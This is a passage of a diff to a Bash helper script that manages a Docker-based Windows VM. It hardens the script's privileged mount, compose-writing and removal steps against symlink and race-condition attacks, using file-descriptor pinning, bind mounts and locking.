probe=$(dirname -- "$probe") done - return 1 + printf '%s\n' "$candidate" } # Run a privileged VM action. write_compose always elevates (the compose is @@ -68,11 +87,15 @@ priv() { local action="$1" shift if [[ $action != write_compose && $action != remove ]] && ! docker_needs_sudo; then - # Existing installs used bind sources in $HOME. One privileged run is - # needed to atomically move those directories below the root-owned mount - # boundary, even when the caller can otherwise reach Docker directly. - if [[ $action != up && $action != up_wait ]] || ! compose_needs_mount_migration; then - "__priv_$action" "$@" + # Bring-up normally runs directly for a docker-group user, but recreating + # the protected bind anchors after reboot (or migrating an old compose) + # still needs one privileged invocation. + if [[ -d $VM_LOCK_DIR && ! -L $VM_LOCK_DIR && -r $VM_LOCK_DIR && -x $VM_LOCK_DIR ]] && { + [[ $action != up && $action != up_wait ]] || { + ! compose_needs_mount_migration && mounts_ready >/dev/null 2>&1 + } + }; then + with_vm_lock "__priv_$action" "$@" return fi fi @@ -86,6 +109,28 @@ priv() { dc() { docker-compose -f "$COMPOSE_FILE" "$@"; } +with_vm_lock() { + local fd rc=0 + if ((EUID == 0)); then + assert_boundary_dir /run 0 && assert_boundary_dir /run/lock 0 || return 1 + if getent group docker >/dev/null 2>&1; then + install -d -o root -g docker -m 0750 -- "$VM_LOCK_DIR" || return 1 + else + install -d -o root -g root -m 0700 -- "$VM_LOCK_DIR" || return 1 + fi + fi + assert_boundary_dir "$VM_LOCK_DIR" 0 || return 1 + # Flock the directory inode itself. Concurrent first callers may both run + # install -d, but mkdir is atomic and they necessarily open the same stable + # inode below the root-owned /run/lock parent. + exec {fd}<"$VM_LOCK_DIR/." || return 1 + flock -x "$fd" || { exec {fd}<&-; return 1; } + "$@" || rc=$? + flock -u "$fd" || rc=1 + exec {fd}<&- + return "$rc" +} + # --- validation (shared by the user-side prompts and the root-side writer) ---- valid_ram() { [[ $1 =~ ^[0-9]{1,3}G$ ]]; } @@ -115,7 +160,7 @@ resolve_caller() { local entry canonical parent owner mode if ((EUID == 0)); then - [[ ${PKEXEC_UID:-} =~ ^[0-9]+$ ]] && ((10#$PKEXEC_UID > 0)) || { + [[ ${PKEXEC_UID:-} =~ ^[0-9]{1,10}$ ]] && ((10#$PKEXEC_UID > 0)) || { echo "omarchy-windows-vm: cannot identify the user who authorized this action" >&2 return 1 } @@ -153,7 +198,7 @@ resolve_caller() { return 1 } # The user must not be able to rename or replace their home while root is - # moving the legacy data entry out of it. + # opening and pinning the familiar data entries below it. parent=$(dirname -- "$CALLER_HOME") while :; do owner=$(stat -Lc '%u' "$parent") || return 1 @@ -167,16 +212,23 @@ resolve_caller() { done fi - # Keep the potentially large disk on the same filesystem as the user's home, - # but outside that user-writable directory. The already-validated home parent - # is root-owned, so this sibling tree provides a stable rename boundary. - MOUNT_ROOT="$(dirname -- "$CALLER_HOME")/.omarchy-windows" + # Docker only ever sees fixed paths below the root-owned runtime tree. The + # user's real data stays wherever ~/.windows and ~/Windows resolve (including + # separately mounted homes and legitimate symlinks); those sources are pinned + # into these anchors with bind mounts before Docker is allowed to start. + MOUNT_ROOT="$RUNTIME_DIR/mounts" USERS_DIR="$MOUNT_ROOT/users" CALLER_DATA_ROOT="$USERS_DIR/$CALLER_UID" EXPECTED_STORAGE="$CALLER_DATA_ROOT/storage" EXPECTED_SHARED="$CALLER_DATA_ROOT/shared" LEGACY_STORAGE="$CALLER_HOME/.windows" LEGACY_SHARED="$CALLER_HOME/Windows" + # The first protected-anchor implementation used a root-owned sibling of + # home. Recognize that exact derived pair during upgrade, but never accept a + # path read from user input. + OLD_MOUNT_ROOT="$(dirname -- "$CALLER_HOME")/.omarchy-windows" + OLD_EXPECTED_STORAGE="$OLD_MOUNT_ROOT/users/$CALLER_UID/storage" + OLD_EXPECTED_SHARED="$OLD_MOUNT_ROOT/users/$CALLER_UID/shared" } boundary_owner() { @@ -200,8 +252,25 @@ assert_boundary_dir() { [[ $owner == "$expected_owner" ]] && ! ((8#$mode & 022)) } +prepare_boundary_component() { + local path="$1" parent="$2" owner="$3" mode="$4" + assert_boundary_dir "$parent" "$owner" || return 1 + if [[ -e $path || -L $path ]]; then + assert_boundary_dir "$path" "$owner" || return 1 + else + if ((EUID == 0)); then + install -d -o root -g root -m "$mode" -- "$path" || return 1 + else + install -d -m "$mode" -- "$path" || return 1 + fi + fi + chmod "$mode" -- "$path" || return 1 + if ((EUID == 0)); then chown root:root -- "$path" || return 1; fi + assert_boundary_dir "$path" "$owner" +} + prepare_runtime_tree() { - local owner probe + local owner probe runtime_parent owner=$(boundary_owner) if ((EUID == 0)); then [[ $RUNTIME_DIR == /var/lib/omarchy/windows ]] || { @@ -220,114 +289,395 @@ prepare_runtime_tree() { [[ $probe == / ]] && break probe=$(dirname -- "$probe") done - if [[ -e $MOUNT_ROOT || -L $MOUNT_ROOT ]]; then - assert_boundary_dir "$MOUNT_ROOT" 0 || { - echo "omarchy-windows-vm: unsafe mount root: $MOUNT_ROOT" >&2 - return 1 - } - fi fi - mkdir -p -- "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" - chmod 0755 "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" - if ((EUID == 0)); then - chown root:root "$RUNTIME_DIR" "$MOUNT_ROOT" "$USERS_DIR" "$CALLER_DATA_ROOT" + + runtime_parent=$(dirname -- "$RUNTIME_DIR") + if ((EUID == 0)) && [[ ! -e $runtime_parent && ! -L $runtime_parent ]]; then + [[ $runtime_parent == /var/lib/omarchy ]] || return 1 + assert_boundary_dir /var/lib 0 || return 1 + install -d -o root -g root -m 0755 -- "$runtime_parent" || return 1 fi - assert_boundary_dir "$RUNTIME_DIR" "$owner" && - assert_boundary_dir "$MOUNT_ROOT" "$owner" && - assert_boundary_dir "$USERS_DIR" "$owner" && - assert_boundary_dir "$CALLER_DATA_ROOT" "$owner" || { + prepare_boundary_component "$RUNTIME_DIR" "$runtime_parent" "$owner" 0755 && + prepare_boundary_component "$MOUNT_ROOT" "$RUNTIME_DIR" "$owner" 0711 && + prepare_boundary_component "$USERS_DIR" "$MOUNT_ROOT" "$owner" 0711 && + prepare_boundary_component "$CALLER_DATA_ROOT" "$USERS_DIR" "$owner" 0711 || { echo "omarchy-windows-vm: unsafe VM mount boundary" >&2 return 1 } } - # Move an existing home entry first, then inspect the pinned object below the -# root-owned parent. This closes the check/use gap where an attacker could swap -# a checked home directory for a symlink before Docker resolved it. -prepare_mount_leaf() { - local legacy="$1" stable="$2" rejected source_dev target_dev - - if [[ ! -e $stable && ! -L $stable ]]; then - if [[ -e $legacy || -L $legacy ]]; then - # rename(2) pins the exact directory entry the caller presented. GNU mv - # falls back to a privileged recursive copy across filesystems, which - # would reopen the source path and reintroduce the race, so fail closed in - # that uncommon layout instead of copying as root. - source_dev=$(stat -c '%d' -- "$legacy") || return 1 - target_dev=$(stat -Lc '%d' -- "$CALLER_DATA_ROOT") || return 1 - [[ $source_dev == "$target_dev" ]] || { - echo "omarchy-windows-vm: cannot safely migrate $legacy across filesystems" >&2 - echo "Move it onto the filesystem containing $MOUNT_ROOT, then retry." >&2 - return 1 - } - mv --no-copy -T -- "$legacy" "$stable" || return 1 - if [[ ! -d $stable || -L $stable ]]; then - rejected="$CALLER_DATA_ROOT/rejected-$(basename -- "$stable")-$$" - mv --no-copy -T -- "$stable" "$rejected" 2>/dev/null || true - echo "omarchy-windows-vm: refusing non-directory VM data entry at $legacy" >&2 - return 1 - fi - else - install -d -m 0700 "$stable" - fi - fi - - [[ -d $stable && ! -L $stable ]] && [[ $(realpath -e -- "$stable" 2>/dev/null) == "$stable" ]] || { - echo "omarchy-windows-vm: unsafe VM data directory: $stable" >&2 +# Open the source directory itself and keep the descriptor alive until after the +# bind. /proc/$BASHPID/fd refers to this exact shell process (including when a +# function runs in a pipeline subshell), not the short-lived mount subprocess, +# so a rename or symlink swap after open cannot change which inode is mounted. +open_mount_source() { + local path="$1" label="$2" fd record uid identity + [[ -d $path ]] || { + echo "omarchy-windows-vm: $label source is not a directory: $path" >&2 return 1 } - if ((EUID == 0)); then - chown "$CALLER_UID:$CALLER_GID" "$stable" - fi + # Appending /. makes a directory-to-FIFO swap fail with ENOTDIR instead of + # leaving the privileged helper blocked while opening an attacker-held pipe. + exec {fd}<"$path/." || { + echo "omarchy-windows-vm: cannot open $label source: $path" >&2 + return 1 + } + [[ -d /proc/$BASHPID/fd/$fd ]] || { + exec {fd}<&- + return 1 + } + record=$(stat -Lc '%u|%d:%i' "/proc/$BASHPID/fd/$fd" 2>/dev/null) || { + exec {fd}<&- + return 1 + } + IFS='|' read -r uid identity <<<"$record" + [[ $uid == "$CALLER_UID" ]] || { + exec {fd}<&- + echo "omarchy-windows-vm: $label source must be a directory owned by uid $CALLER_UID" >&2 + return 1 + } + OPENED_MOUNT_FD=$fd + OPENED_MOUNT_ID=$identity +} - if [[ -L $legacy ]]; then - [[ $(realpath -e -- "$legacy" 2>/dev/null) == "$stable" ]] || { - echo "omarchy-windows-vm: $legacy does not point to its protected mount anchor" >&2 - return 1 +# Return 0 when ancestor_id contains the already-open descendant directory, 1 +# when the walk reaches the namespace root without finding it, and 2 on any +# error or an implausibly deep walk. Every hop is opened relative to a pinned +# directory FD; no caller-mutable pathname is re-resolved. +pinned_dir_contains() { + local ancestor_id="$1" descendant_fd="$2" walk_fd parent_fd current_id parent_id depth + exec {walk_fd}<"/proc/$BASHPID/fd/$descendant_fd/." || return 2 + for ((depth = 0; depth < 256; depth++)); do + current_id=$(stat -Lc '%d:%i' "/proc/$BASHPID/fd/$walk_fd" 2>/dev/null) || { + exec {walk_fd}<&- + return 2 } - elif [[ -e $legacy ]]; then - echo "omarchy-windows-vm: refusing to replace existing data at $legacy" >&2 + if [[ $current_id == "$ancestor_id" ]]; then + exec {walk_fd}<&- + return 0 + fi + exec {parent_fd}<"/proc/$BASHPID/fd/$walk_fd/.." || { + exec {walk_fd}<&- + return 2 + } + parent_id=$(stat -Lc '%d:%i' "/proc/$BASHPID/fd/$parent_fd" 2>/dev/null) || { + exec {parent_fd}<&- + exec {walk_fd}<&- + return 2 + } + if [[ $parent_id == "$current_id" ]]; then + exec {parent_fd}<&- + exec {walk_fd}<&- + return 1 + fi + exec {walk_fd}<&- + walk_fd=$parent_fd + done + exec {walk_fd}<&- + return 2 +} + +# A bind alias can give the same directory inode a second parent chain, so an +# upward walk alone is insufficient for destructive removal. Search from a +# pinned tree root for the other pinned inode without following symlinks or +# crossing the removal traversal's filesystem boundary. Return 0 when found, 1 +# when absent, and 2 on timeout, traversal error, or unexpected output. +pinned_tree_contains() { + local root_fd="$1" needle_fd="$2" found rc + # -xdev still evaluates a nested mountpoint itself before pruning its + # children, so a direct different-filesystem alias of the needle is found too. + # This matches removal's traversal boundary without skipping mount aliases. + if found=$("$TREE_SCAN_TIMEOUT" --signal=TERM --kill-after="${TREE_SCAN_KILL_AFTER_SECONDS}s" \ + "${TREE_SCAN_TIMEOUT_SECONDS}s" "$TREE_SCAN_FIND" -P "/proc/$BASHPID/fd/$root_fd/." \ + -xdev -type d -samefile "/proc/$BASHPID/fd/$needle_fd/." \ + -printf 'found\n' -quit 2>/dev/null); then + rc=0 + else + rc=$? + fi + ((rc == 0)) || return 2 + case "$found" in + found) return 0 ;; + "") return 1 ;; + *) return 2 ;; + esac +} + +validate_pinned_sources_disjoint() { + local storage_fd="$1" storage_id="$2" shared_fd="$3" shared_id="$4" rc + if [[ $storage_id == "$shared_id" ]]; then + echo "omarchy-windows-vm: storage and shared must be different directories" >&2 + return 1 + fi + if pinned_dir_contains "$storage_id" "$shared_fd"; then + echo "omarchy-windows-vm: shared directory must not be inside storage" >&2 return 1 else - ln -s -- "$stable" "$legacy" || return 1 - if ((EUID == 0)); then - chown -h "$CALLER_UID:$CALLER_GID" "$legacy" - fi + rc=$? + ((rc == 1)) || { + echo "omarchy-windows-vm: could not verify storage/shared ancestry" >&2 + return 1 + } fi + if pinned_dir_contains "$shared_id" "$storage_fd"; then + echo "omarchy-windows-vm: storage directory must not be inside shared" >&2 + return 1 + else + rc=$? + ((rc == 1)) || { + echo "omarchy-windows-vm: could not verify storage/shared ancestry" >&2 + return 1 + } + fi +} + +removal_trees_disjoint() { + local storage_fd shared_fd anchor_storage_fd anchor_shared_fd storage_id shared_id rc=1 scan_rc + local scan scan_root_fd scan_needle_fd scan_label + open_mount_source "$LEGACY_STORAGE" storage || return 1 + storage_fd=$OPENED_MOUNT_FD + storage_id=$OPENED_MOUNT_ID + if ! open_mount_source "$LEGACY_SHARED" shared; then + exec {storage_fd}<&- + return 1 + fi + shared_fd=$OPENED_MOUNT_FD + shared_id=$OPENED_MOUNT_ID + if ! validate_pinned_sources_disjoint "$storage_fd" "$storage_id" "$shared_fd" "$shared_id" || + ! mounted_leaf_matches "$EXPECTED_STORAGE" "$storage_id" || + ! mounted_leaf_matches "$EXPECTED_SHARED" "$shared_id"; then + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + if ! exec {anchor_storage_fd}<"$EXPECTED_STORAGE/."; then + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + if ! exec {anchor_shared_fd}<"$EXPECTED_SHARED/."; then + exec {anchor_storage_fd}<&- + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + + # Scan the protected anchor views first. Also scan the pinned caller views: + # a submount attached after the original non-recursive bind is intentionally + # absent from the anchor view, but removal must still refuse that alias. + rc=0 + for scan in \ + "$anchor_storage_fd:$anchor_shared_fd:shared below protected storage" \ + "$anchor_shared_fd:$anchor_storage_fd:storage below protected shared" \ + "$storage_fd:$shared_fd:shared below storage source" \ + "$shared_fd:$storage_fd:storage below shared source"; do + IFS=: read -r scan_root_fd scan_needle_fd scan_label <<<"$scan" + if pinned_tree_contains "$scan_root_fd" "$scan_needle_fd"; then + echo "omarchy-windows-vm: refusing removal: $scan_label" >&2 + rc=1 + break + else + scan_rc=$? + if ((scan_rc != 1)); then + echo "omarchy-windows-vm: removal containment scan failed or timed out" >&2 + rc=1 + break + fi + fi + done + + exec {anchor_storage_fd}<&- + exec {anchor_shared_fd}<&- + exec {storage_fd}<&- + exec {shared_fd}<&- + return "$rc" +} + +prepare_mount_anchor() { + local path="$1" owner + owner=$(boundary_owner) + [[ ! -L $path ]] || return 1 + if mountpoint -q -- "$path" 2>/dev/null; then return 0; fi + prepare_boundary_component "$path" "$CALLER_DATA_ROOT" "$owner" 0700 || return 1 + [[ -z $(find "$path" -mindepth 1 -print -quit) ]] || { + echo "omarchy-windows-vm: refusing to hide data below mount anchor: $path" >&2 + return 1 + } +} + +mounted_leaf_matches() { + local stable="$1" identity="$2" actual owner mode canonical + [[ -d $stable && ! -L $stable ]] || return 1 + canonical=$(realpath -e -- "$stable" 2>/dev/null) || return 1 + [[ $canonical == "$stable" ]] || return 1 + mountpoint -q -- "$stable" 2>/dev/null || return 1 + [[ $(mount_layer_count "$stable") == 1 ]] || return 1 + actual=$(stat -Lc '%d:%i' "$stable" 2>/dev/null) || return 1 + owner=$(stat -Lc '%u' "$stable" 2>/dev/null) || return 1 + mode=$(stat -Lc '%a' "$stable" 2>/dev/null) || return 1 + [[ $actual == "$identity" && $owner == "$CALLER_UID" && $mode == 700 ]] +} + +bind_mount_leaf() { + local fd="$1" identity="$2" stable="$3" actual owner + MOUNT_LEAF_NEW=0 + if mountpoint -q -- "$stable" 2>/dev/null; then + mounted_leaf_matches "$stable" "$identity" || { + echo "omarchy-windows-vm: protected mount at $stable no longer matches its home source" >&2 + return 1 + } + return 0 + fi + + # util-linux normally canonicalizes a /proc//fd link back to a pathname, + # which would throw away the FD pin. Pass the procfd to mount(2) unchanged. + mount --no-canonicalize --bind "/proc/$BASHPID/fd/$fd" "$stable" || return 1 + MOUNT_LEAF_NEW=1 + actual=$(stat -Lc '%d:%i' "$stable" 2>/dev/null) || actual="" + owner=$(stat -Lc '%u' "$stable" 2>/dev/null) || owner="" + if [[ $actual != "$identity" || $owner != "$CALLER_UID" ]]; then + if umount -- "$stable"; then + MOUNT_LEAF_NEW=0 + else + echo "omarchy-windows-vm: could not roll back unverified bind at $stable" >&2 + fi + echo "omarchy-windows-vm: bind verification failed for $stable" >&2 + return 1 + fi + mounted_leaf_matches "$stable" "$identity" || { + if umount -- "$stable"; then + MOUNT_LEAF_NEW=0 + else + echo "omarchy-windows-vm: could not roll back invalid bind at $stable" >&2 + fi + return 1 + } } prepare_caller_mounts() { - resolve_caller && prepare_runtime_tree && - prepare_mount_leaf "$LEGACY_STORAGE" "$EXPECTED_STORAGE" && - prepare_mount_leaf "$LEGACY_SHARED" "$EXPECTED_SHARED" + local storage_fd storage_id shared_fd shared_id storage_mode shared_mode + CALLER_MOUNTS_NEW_STORAGE=0 + CALLER_MOUNTS_NEW_SHARED=0 + resolve_caller && prepare_runtime_tree || return 1 + prepare_mount_anchor "$EXPECTED_STORAGE" && prepare_mount_anchor "$EXPECTED_SHARED" || return 1 + + # Pre-open and validate both sources before changing either mount anchor. + open_mount_source "$LEGACY_STORAGE" storage || return 1 + storage_fd=$OPENED_MOUNT_FD + storage_id=$OPENED_MOUNT_ID + if ! open_mount_source "$LEGACY_SHARED" shared; then + exec {storage_fd}<&- + return 1 + fi + shared_fd=$OPENED_MOUNT_FD + shared_id=$OPENED_MOUNT_ID + if ! validate_pinned_sources_disjoint "$storage_fd" "$storage_id" "$shared_fd" "$shared_id"; then + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + + # Privacy is an explicit preflight step for both already-pinned sources, not + # a side effect halfway through the two-mount transaction. Old umask-022 + # installs are hardened together before either Docker-facing anchor changes. + chmod 0700 -- "/proc/$BASHPID/fd/$storage_fd" "/proc/$BASHPID/fd/$shared_fd" || { + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + } + storage_mode=$(stat -Lc '%a' "/proc/$BASHPID/fd/$storage_fd" 2>/dev/null) || storage_mode="" + shared_mode=$(stat -Lc '%a' "/proc/$BASHPID/fd/$shared_fd" 2>/dev/null) || shared_mode="" + if [[ $storage_mode != 700 || $shared_mode != 700 ]]; then + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + + if bind_mount_leaf "$storage_fd" "$storage_id" "$EXPECTED_STORAGE"; then + CALLER_MOUNTS_NEW_STORAGE=$MOUNT_LEAF_NEW + else + CALLER_MOUNTS_NEW_STORAGE=$MOUNT_LEAF_NEW + rollback_new_caller_mounts || true + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + if ! bind_mount_leaf "$shared_fd" "$shared_id" "$EXPECTED_SHARED"; then + CALLER_MOUNTS_NEW_SHARED=$MOUNT_LEAF_NEW + rollback_new_caller_mounts || true + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + CALLER_MOUNTS_NEW_SHARED=$MOUNT_LEAF_NEW + + exec {storage_fd}<&- + exec {shared_fd}<&- } -# Reads KEY=VALUE lines on stdin, re-validates every field, and writes the -# compose atomically as root. Re-validation here is the security boundary: the -# writer refuses rather than emit a compose an attacker could have influenced. -# Only these fixed keys are honored; image, container name, devices, caps, and -# port bindings are hard-coded and never taken from input. -__priv_write_compose() { - local ram cores disk username password tz key value +mounts_ready() { + local storage_fd storage_id shared_fd shared_id rc=1 + resolve_caller || return 1 + open_mount_source "$LEGACY_STORAGE" storage || return 1 + storage_fd=$OPENED_MOUNT_FD + storage_id=$OPENED_MOUNT_ID + if ! open_mount_source "$LEGACY_SHARED" shared; then + exec {storage_fd}<&- + return 1 + fi + shared_fd=$OPENED_MOUNT_FD + shared_id=$OPENED_MOUNT_ID + if ! validate_pinned_sources_disjoint "$storage_fd" "$storage_id" "$shared_fd" "$shared_id"; then + exec {storage_fd}<&- + exec {shared_fd}<&- + return 1 + fi + if assert_boundary_dir "$RUNTIME_DIR" "$(boundary_owner)" && + assert_boundary_dir "$MOUNT_ROOT" "$(boundary_owner)" && + assert_boundary_dir "$USERS_DIR" "$(boundary_owner)" && + assert_boundary_dir "$CALLER_DATA_ROOT" "$(boundary_owner)" && + mounted_leaf_matches "$EXPECTED_STORAGE" "$storage_id" && + mounted_leaf_matches "$EXPECTED_SHARED" "$shared_id"; then + rc=0 + fi + exec {storage_fd}<&- + exec {shared_fd}<&- + return "$rc" +} - while IFS='=' read -r key value; do - case "$key" in - RAM) ram="$value" ;; - CORES) cores="$value" ;; - DISK) disk="$value" ;; - USERNAME) username="$value" ;; - PASSWORD) password="$value" ;; - TZ) tz="$value" ;; - esac - done +mount_layer_count() { + local path="$1" + awk -v path="$path" '$5 == path { count++ } END { print count + 0 }' /proc/self/mountinfo +} - valid_ram "$ram" || { echo "invalid RAM: $ram" >&2; exit 2; } - valid_cores "$cores" || { echo "invalid CPU cores: $cores" >&2; exit 2; } - valid_disk "$disk" || { echo "invalid disk size: $disk" >&2; exit 2; } - valid_username "$username" || { echo "invalid username: $username" >&2; exit 2; } - valid_password "$password" || { echo "invalid password" >&2; exit 2; } - valid_tz "$tz" || tz="UTC" - prepare_caller_mounts || exit 2 +mount_descendant_count() { + local path="$1" + awk -v prefix="$path/" 'index($5, prefix) == 1 { count++ } END { print count + 0 }' /proc/self/mountinfo +} + +rollback_new_caller_mounts() { + local failed=0 + if ((CALLER_MOUNTS_NEW_SHARED)); then + if umount -- "$EXPECTED_SHARED"; then CALLER_MOUNTS_NEW_SHARED=0; else failed=1; fi + fi + if ((CALLER_MOUNTS_NEW_STORAGE)); then + if umount -- "$EXPECTED_STORAGE"; then CALLER_MOUNTS_NEW_STORAGE=0; else failed=1; fi + fi + ((failed == 0)) || echo "omarchy-windows-vm: could not roll back newly created VM mounts" >&2 + return "$failed" +} + +write_compose_atomically() ( + local ram="$1" cores="$2" disk="$3" username="$4" password="$5" tz="$6" + local tmp="" rc esc_password + cleanup_writer() { + rc=$? + trap - EXIT + [[ -z $tmp ]] || rm -f -- "$tmp" || true + if ((rc != 0)) && ! rollback_new_caller_mounts; then rc=1; fi + exit "$rc" + } + trap cleanup_writer EXIT # Neutralize anything in the password that could be misread when the compose # is parsed. Two layers apply, in this order at parse time: docker compose @@ -336,13 +686,12 @@ __priv_write_compose() { # double-quote) and the interpolation layer last ($ -> $$), so a password # containing " \ or $ reaches the guest verbatim. unescape() reverses this in # the opposite order for the RDP credentials. - local esc_password=${password//\\/\\\\} + esc_password=${password//\\/\\\\} esc_password=${esc_password//\"/\\\"} esc_password=${esc_password//\$/\$\$} - local tmp - tmp=$(mktemp "$RUNTIME_DIR/.compose.XXXXXX") - cat >"$tmp" <"$tmp" </dev/null || true - chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" 2>/dev/null || true - mv -f "$tmp" "$COMPOSE_FILE" + chmod 0640 "$tmp" || exit 1 + if ((EUID == 0)); then + chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" || exit 1 + fi + mv -fT -- "$tmp" "$COMPOSE_FILE" || exit 1 + tmp="" + trap - EXIT +) + +# Reads KEY=VALUE lines on stdin, re-validates every field, and writes the +# compose atomically as root. Re-validation here is the security boundary: the +# writer refuses rather than emit a compose an attacker could have influenced. +# Only these fixed keys are honored; image, container name, devices, caps, and +# port bindings are hard-coded and never taken from input. +__priv_write_compose() { + local ram cores disk username password tz key value + + while IFS='=' read -r key value; do + case "$key" in + RAM) ram="$value" ;; + CORES) cores="$value" ;; + DISK) disk="$value" ;; + USERNAME) username="$value" ;; + PASSWORD) password="$value" ;; + TZ) tz="$value" ;; + esac + done + + valid_ram "$ram" || { echo "invalid RAM: $ram" >&2; exit 2; } + valid_cores "$cores" || { echo "invalid CPU cores: $cores" >&2; exit 2; } + valid_disk "$disk" || { echo "invalid disk size: $disk" >&2; exit 2; } + valid_username "$username" || { echo "invalid username: $username" >&2; exit 2; } + valid_password "$password" || { echo "invalid password" >&2; exit 2; } + valid_tz "$tz" || tz="UTC" + prepare_caller_mounts || exit 2 + # Readable by root and the docker group only. Any failure after mounting rolls + # back just the binds this writer created and leaves an old compose untouched. + write_compose_atomically "$ram" "$cores" "$disk" "$username" "$password" "$tz" || exit 2 } # Read the host source of a bind mount out of the compose (e.g. /storage). @@ -392,8 +771,19 @@ get_mount_source() { compose_needs_mount_migration() { [[ -f $COMPOSE_FILE ]] || return 1 resolve_caller || return 1 - [[ $(get_mount_source /storage) == "$LEGACY_STORAGE" && - $(get_mount_source /shared) == "$LEGACY_SHARED" ]] + [[ $(mount_source_count /storage) == 1 && $(mount_source_count /shared) == 1 ]] || return 1 + compose_mount_pair_is_migratable "$(get_mount_source /storage)" "$(get_mount_source /shared)" +} + +compose_mount_pair_is_migratable() { + local storage="$1" shared="$2" + [[ $storage == "$LEGACY_STORAGE" && $shared == "$LEGACY_SHARED" ]] || + [[ $storage == "$OLD_EXPECTED_STORAGE" && $shared == "$OLD_EXPECTED_SHARED" ]] +} + +mount_source_count() { + local destination="$1" + sed -n "s|^[[:space:]]*-[[:space:]]*\(/[^:]*\):$destination\$|x|p" "$COMPOSE_FILE" | wc -l } rewrite_compose_mounts() { @@ -404,11 +794,14 @@ rewrite_compose_mounts() { /^[[:space:]]*-[[:space:]]*\/[^:]*:\/shared$/ { print " - " shared ":/shared"; next } { print } ' "$COMPOSE_FILE" >"$tmp" || { rm -f "$tmp"; return 1; } - chmod 0640 "$tmp" + chmod 0640 "$tmp" || { rm -f "$tmp"; return 1; } if ((EUID == 0)); then - chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" + chown root:docker "$tmp" 2>/dev/null || chown root:root "$tmp" || { + rm -f "$tmp" + return 1 + } fi - mv -f -- "$tmp" "$COMPOSE_FILE" + mv -fT -- "$tmp" "$COMPOSE_FILE" || { rm -f "$tmp"; return 1; } } assert_compose_trusted() { @@ -421,7 +814,7 @@ assert_compose_trusted() { } assert_mounts_safe() { - local storage shared owner + local storage shared resolve_caller || return 1 assert_compose_trusted || { echo "omarchy-windows-vm: refusing an untrusted compose file" >&2 @@ -430,13 +823,21 @@ assert_mounts_safe() { storage=$(get_mount_source /storage) shared=$(get_mount_source /shared) - if [[ $storage == "$LEGACY_STORAGE" && $shared == "$LEGACY_SHARED" ]]; then + [[ $(mount_source_count /storage) == 1 && $(mount_source_count /shared) == 1 ]] || { + echo "omarchy-windows-vm: refusing duplicate or missing VM mounts in the compose" >&2 + return 1 + } + + if compose_mount_pair_is_migratable "$storage" "$shared"; then ((EUID == 0)) || { echo "omarchy-windows-vm: legacy VM data needs an authorized migration" >&2 return 1 } prepare_caller_mounts || return 1 - rewrite_compose_mounts || return 1 + if ! rewrite_compose_mounts; then + rollback_new_caller_mounts || true + return 1 + fi storage=$EXPECTED_STORAGE shared=$EXPECTED_SHARED fi @@ -445,15 +846,14 @@ assert_mounts_safe() { echo "omarchy-windows-vm: refusing unexpected host paths in the compose" >&2 return 1 } - owner=$(boundary_owner) - assert_boundary_dir "$RUNTIME_DIR" "$owner" && - assert_boundary_dir "$MOUNT_ROOT" "$owner" && - assert_boundary_dir "$USERS_DIR" "$owner" && - assert_boundary_dir "$CALLER_DATA_ROOT" "$owner" && - [[ -d $EXPECTED_STORAGE && ! -L $EXPECTED_STORAGE ]] && - [[ -d $EXPECTED_SHARED && ! -L $EXPECTED_SHARED ]] && - [[ $(realpath -e -- "$EXPECTED_STORAGE" 2>/dev/null) == "$EXPECTED_STORAGE" ]] && - [[ $(realpath -e -- "$EXPECTED_SHARED" 2>/dev/null) == "$EXPECTED_SHARED" ]] || { + + # Mounts disappear at reboot. Root recreates them from the already-opened, + # caller-owned sources; a docker-group invocation may proceed directly only + # while the exact pinned pair is still present. + if ((EUID == 0)); then + prepare_caller_mounts || return 1 + fi + mounts_ready || { echo "omarchy-windows-vm: refusing an unsafe VM mount anchor" >&2 return 1 } @@ -495,19 +895,109 @@ __priv_up_wait() { __priv_status() { docker inspect --format='{{.State.Status}}' "$CONTAINER" 2>/dev/null || true; } __priv_remove() { - resolve_caller || return 1 - dc down 2>/dev/null || true + # Rebuild/verify both pinned binds before deleting through the storage anchor. + # In particular, a legitimate ~/.windows symlink means deleting only the link + # from the user side would strand the virtual disk in its external target. + assert_mounts_safe || return 1 + [[ $EXPECTED_STORAGE == "$USERS_DIR/$CALLER_UID/storage" ]] || return 1 + [[ $EXPECTED_SHARED == "$USERS_DIR/$CALLER_UID/shared" ]] || return 1 + [[ $(mount_layer_count "$EXPECTED_STORAGE") == 1 && + $(mount_layer_count "$EXPECTED_SHARED") == 1 && + $(mount_descendant_count "$EXPECTED_STORAGE") == 0 && + $(mount_descendant_count "$EXPECTED_SHARED") == 0 ]] || { + echo "omarchy-windows-vm: refusing removal with unknown or stacked VM mounts" >&2 + return 1 + } + + dc down || { + echo "omarchy-windows-vm: could not stop the Windows VM; storage was not deleted" >&2 + return 1 + } + if docker inspect "$CONTAINER" >/dev/null 2>&1; then + echo "omarchy-windows-vm: Windows container still exists; storage was not deleted" >&2 + return 1 + fi + docker info >/dev/null 2>&1 || { + echo "omarchy-windows-vm: cannot verify Docker state; storage was not deleted" >&2 + return 1 + } + mounts_ready || { + echo "omarchy-windows-vm: VM mount identity changed during removal" >&2 + return 1 + } + removal_trees_disjoint || return 1 + + # find -xdev deliberately empties the verified disk source without crossing + # into another mounted filesystem. Shared files are never traversed. + find "$EXPECTED_STORAGE" -xdev -mindepth 1 -delete || return 1 + [[ -z $(find "$EXPECTED_STORAGE" -mindepth 1 -print -quit) ]] || return 1 + + # Release only the single known top mounts checked above. Unmount shared first + # so a storage-unmount failure cannot expose shared data to deletion. + umount -- "$EXPECTED_SHARED" || return 1 + umount -- "$EXPECTED_STORAGE" || return 1 docker rmi "$IMAGE" 2>/dev/null || true rm -f "$COMPOSE_FILE" - # Shared files intentionally survive removal. The storage leaf cannot be - # swapped by the user because its parent is the 